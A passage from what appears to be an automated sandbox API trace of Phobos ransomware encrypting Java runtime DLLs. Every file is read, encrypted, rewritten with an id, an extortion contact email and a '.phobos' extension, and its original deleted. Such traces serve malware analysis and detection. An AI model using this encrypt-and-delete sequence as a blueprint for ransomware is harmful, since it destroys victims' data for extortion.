pdwDataLen=0x2d4fe40*=0x22250) returned 1 [0135.682] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x22250, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x22250, lpOverlapped=0x0) returned 1 [0135.684] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752cd8) returned 1 [0135.684] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.684] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0135.684] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.685] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0135.685] CryptDestroyKey (hKey=0x753018) returned 1 [0135.685] CloseHandle (hObject=0x308) returned 1 [0135.685] CloseHandle (hObject=0x2f4) returned 1 [0135.685] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxmedia.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxmedia.dll")) returned 1 [0135.687] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0135.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.687] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=41503296) returned 1 [0135.687] CloseHandle (hObject=0x2f4) returned 1 [0135.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll")) returned 0x20 [0135.687] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 1 [0135.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jfxwebkit.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.688] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe38 | out: lpNewFilePointer=0x0) returned 1 [0135.688] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe38 | out: lpNewFilePointer=0x0) returned 1 [0135.688] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fe44, lpOverlapped=0x0 | out: lpBuffer=0x3111058*, lpNumberOfBytesRead=0x2d4fe44*=0x40000, lpOverlapped=0x0) returned 1 [0135.731] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe38 | out: lpNewFilePointer=0x0) returned 1 [0135.731] ReadFile (in: hFile=0x2f4, lpBuffer=0x3151058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fe44, lpOverlapped=0x0 | out: lpBuffer=0x3151058*, lpNumberOfBytesRead=0x2d4fe44*=0x40000, lpOverlapped=0x0) returned 1 [0135.756] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe38 | out: lpNewFilePointer=0x0) returned 1 [0135.756] ReadFile (in: hFile=0x2f4, lpBuffer=0x3191058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d4fe44, lpOverlapped=0x0 | out: lpBuffer=0x3191058*, lpNumberOfBytesRead=0x2d4fe44*=0x40000, lpOverlapped=0x0) returned 1 [0135.878] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe94 | out: phKey=0x2d4fe94*=0x752cd8) returned 1 [0135.878] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.878] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe48*=0xc0060, dwBufLen=0xc0060 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe48*=0xc0060) returned 1 [0135.879] CryptDestroyKey (hKey=0x752cd8) returned 1 [0135.879] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe70 | out: lpNewFilePointer=0x0) returned 1 [0135.879] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x2d4fe80, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe80*=0xc0112, lpOverlapped=0x0) returned 1 [0135.959] SetEndOfFile (hFile=0x2f4) returned 1 [0135.959] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x2754a40, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe40 | out: lpNewFilePointer=0x0) returned 1 [0135.959] WriteFile (in: hFile=0x2f4, lpBuffer=0x31d114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fe4c, lpOverlapped=0x0 | out: lpBuffer=0x31d114a*, lpNumberOfBytesWritten=0x2d4fe4c*=0x40000, lpOverlapped=0x0) returned 1 [0135.961] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xd318c0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe40 | out: lpNewFilePointer=0x0) returned 1 [0135.961] WriteFile (in: hFile=0x2f4, lpBuffer=0x31d114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fe4c, lpOverlapped=0x0 | out: lpBuffer=0x31d114a*, lpNumberOfBytesWritten=0x2d4fe4c*=0x40000, lpOverlapped=0x0) returned 1 [0135.962] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe40 | out: lpNewFilePointer=0x0) returned 1 [0135.962] WriteFile (in: hFile=0x2f4, lpBuffer=0x31d114a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d4fe4c, lpOverlapped=0x0 | out: lpBuffer=0x31d114a*, lpNumberOfBytesWritten=0x2d4fe4c*=0x40000, lpOverlapped=0x0) returned 1 [0135.962] CloseHandle (hObject=0x2f4) returned 1 [0135.963] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0135.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.963] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=296000) returned 1 [0135.963] CloseHandle (hObject=0x2f4) returned 1 [0135.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 0x20 [0135.963] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0135.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0135.963] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.963] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0135.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0135.964] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752d18) returned 1 [0135.964] CryptSetKeyParam (hKey=0x752d18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0135.964] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x48440, lpOverlapped=0x0) returned 1 [0136.213] CryptEncrypt (in: hKey=0x752d18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x48450, dwBufLen=0x48450 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x48450) returned 1 [0136.213] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x48450, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x48450, lpOverlapped=0x0) returned 1 [0136.217] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x753158) returned 1 [0136.218] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0136.218] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0136.218] CryptDestroyKey (hKey=0x753158) returned 1 [0136.218] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0136.218] CryptDestroyKey (hKey=0x752d18) returned 1 [0136.218] CloseHandle (hObject=0x2f4) returned 1 [0136.218] CloseHandle (hObject=0x308) returned 1 [0136.218] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2iexp.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2iexp.dll")) returned 1 [0136.221] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0136.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0136.221] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=235584) returned 1 [0136.221] CloseHandle (hObject=0x308) returned 1 [0136.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 0x20 [0136.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0136.222] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0136.222] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0136.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0136.223] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752fd8) returned 1 [0136.223] CryptSetKeyParam (hKey=0x752fd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0136.223] ReadFile (in: hFile=0x308, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x39840, lpOverlapped=0x0) returned 1 [0136.446] CryptEncrypt (in: hKey=0x752fd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x39850, dwBufLen=0x39850 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x39850) returned 1 [0136.446] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x39850, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x39850, lpOverlapped=0x0) returned 1 [0136.450] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752e98) returned 1 [0136.450] CryptSetKeyParam (hKey=0x752e98, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0136.450] CryptEncrypt (in: hKey=0x752e98, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0136.450] CryptDestroyKey (hKey=0x752e98) returned 1 [0136.450] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0136.450] CryptDestroyKey (hKey=0x752fd8) returned 1 [0136.450] CloseHandle (hObject=0x308) returned 1 [0136.450] CloseHandle (hObject=0x2f4) returned 1 [0136.450] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2ssv.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2ssv.dll")) returned 1 [0136.452] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0136.452] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0136.453] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=185920) returned 1 [0136.453] CloseHandle (hObject=0x2f4) returned 1 [0136.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 0x20 [0136.453] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0136.453] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0136.453] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0136.453] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0136.453] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752f18) returned 1 [0136.453] CryptSetKeyParam (hKey=0x752f18, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0136.453] ReadFile (in: hFile=0x2f4, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x2d640, lpOverlapped=0x0) returned 1 [0136.523] CryptEncrypt (in: hKey=0x752f18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x2d650, dwBufLen=0x2d650 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x2d650) returned 1 [0136.523] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x2d650, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x2d650, lpOverlapped=0x0) returned 1 [0136.526] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752c58) returned 1 [0136.526] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0136.526] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0136.526] CryptDestroyKey (hKey=0x752c58) returned 1 [0136.526] WriteFile (in: hFile=0x308, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0136.526] CryptDestroyKey (hKey=0x752f18) returned 1 [0136.526] CloseHandle (hObject=0x2f4) returned 1 [0136.526] CloseHandle (hObject=0x308) returned 1 [0136.526] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jpeg.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jpeg.dll")) returned 1 [0136.528] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0136.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0136.528] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=18496) returned 1 [0136.528] CloseHandle (hObject=0x308) returned 1 [0136.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 0x20 [0136.529] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0136.529] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0136.529] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fe68 | out: lpNewFilePointer=0x0) returned 1 [0136.529] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0136.529] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe20, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe7c | out: phKey=0x2d4fe7c*=0x752c58) returned 1 [0136.529] CryptSetKeyParam (hKey=0x752c58, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0136.529] ReadFile (in: hFile=0x308, lpBuffer=0x3111020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2d4fea4, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesRead=0x2d4fea4*=0x4840, lpOverlapped=0x0) returned 1 [0136.626] CryptEncrypt (in: hKey=0x752c58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4850, dwBufLen=0x4850 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x4850) returned 1 [0136.626] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0x4850, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0x4850, lpOverlapped=0x0) returned 1 [0136.627] CryptImportKey (in: hProv=0x7268e0, pbData=0x2d4fe14, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2d4fe80 | out: phKey=0x2d4fe80*=0x752cd8) returned 1 [0136.627] CryptSetKeyParam (hKey=0x752cd8, dwParam=0x1, pbData=0x2d4ff28, dwFlags=0x0) returned 1 [0136.627] CryptEncrypt (in: hKey=0x752cd8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40, dwBufLen=0x40 | out: pbData=0x3111020*, pdwDataLen=0x2d4fe40*=0x40) returned 1 [0136.627] CryptDestroyKey (hKey=0x752cd8) returned 1 [0136.627] WriteFile (in: hFile=0x2f4, lpBuffer=0x3111020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d4fe88, lpOverlapped=0x0 | out: lpBuffer=0x3111020*, lpNumberOfBytesWritten=0x2d4fe88*=0xf2, lpOverlapped=0x0) returned 1 [0136.627] CryptDestroyKey (hKey=0x752c58) returned 1 [0136.627] CloseHandle (hObject=0x308) returned 1 [0136.627] CloseHandle (hObject=0x2f4) returned 1 [0136.627] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 1 [0136.628] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0136.628] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0136.628] GetFileSizeEx (in: 